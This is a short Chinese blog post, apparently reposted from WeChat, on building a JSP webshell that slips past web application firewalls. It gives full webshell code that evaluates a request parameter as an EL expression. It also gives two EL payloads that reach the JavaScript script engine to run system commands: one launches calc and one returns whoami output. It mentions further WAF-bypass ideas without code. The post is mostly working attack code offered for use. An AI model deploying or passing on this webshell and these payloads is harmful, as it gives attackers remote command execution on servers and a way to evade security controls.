java el表达式+script engine webshell bypass waf思路分享
2023-2-25 00:3:1 Author: goddemon的小屋(查看原文) 阅读量:43 收藏

前言:

翻自己以前写过的东西,在土司翻到了以前提到过的这个问题,这个问题之前查看别的师傅写的文章,很早就有了相关的解决方法,但是一直没回复这种的解决思路。

这里分享下,主要分享el表达式加scriptengine的思路,也当作水篇文章吧。

运用:

el表达式的shell

<%@ page import="org.apache.jasper.runtime.PageContextImpl" %>
<%
    String res = (String)
            PageContextImpl.proprietaryEvaluate(request.getParameter("test"),
                    String.class, pageContext, null);
    out.print(res);
%>

无回显:

${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("new+java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()")}


image.png

有回显:

回显payload:

${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var+s=[3];s[0]=\"cmd\";s[1]=\"/c\";s[2]=\"whoami\";var+p=java.lang.Runtime.getRuntime().exec(s);var+sc=new+java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\\\A\");var+result=sc.hasNext()?sc.next():\"\";sc.close();result;")}


image.png

其他思路:

当然啦远程webshell和jni马的思路也是可以绕过的,也不一定要用这个思路

甚至于还可以利用补天大会老面提到的一个点,tomcat的编码特性来进行绕过。

如编码特性图:webshell内容为

执行:


最后:

好好学习,好好锻炼,好好生活,兔年冲啊。


文章来源: http://mp.weixin.qq.com/s?__biz=MzI2NTc1ODY0Mw==&mid=2247485432&idx=1&sn=d9e99e659c4989489dcfb799face3197&chksm=ea993524ddeebc3209c277a8c3d721588549fa90fbf3335f4869ccf5167fb3fae92aa49cb1f3#rd
如有侵权请联系:admin#unsafe.sh